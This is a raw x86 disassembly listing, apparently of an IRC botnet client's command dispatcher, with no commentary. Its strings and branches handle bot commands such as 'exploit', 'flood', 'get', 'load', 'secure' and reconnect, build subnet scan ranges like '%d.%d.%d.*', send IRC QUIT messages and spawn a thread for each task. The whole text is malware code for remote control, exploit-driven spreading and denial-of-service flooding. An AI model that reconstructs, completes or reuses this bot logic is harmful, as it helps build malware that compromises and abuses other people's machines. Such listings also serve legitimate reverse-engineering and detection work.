		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBDC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBBC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		call	near ptr 26A0688h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB84
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB64
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		call	near ptr 2690800h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAE8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BACC
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB0

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42BA60
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA48
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA44
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42B9E8
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D0

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B920
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B910
		push	offset dword_42B900
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F4
		push	offset dword_42B8E4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8BC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset dword_42B880
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42B814
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset dword_42B7A4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6B8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B68C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9BC

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B650
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B610
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E4

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42B56C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 26A0688h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
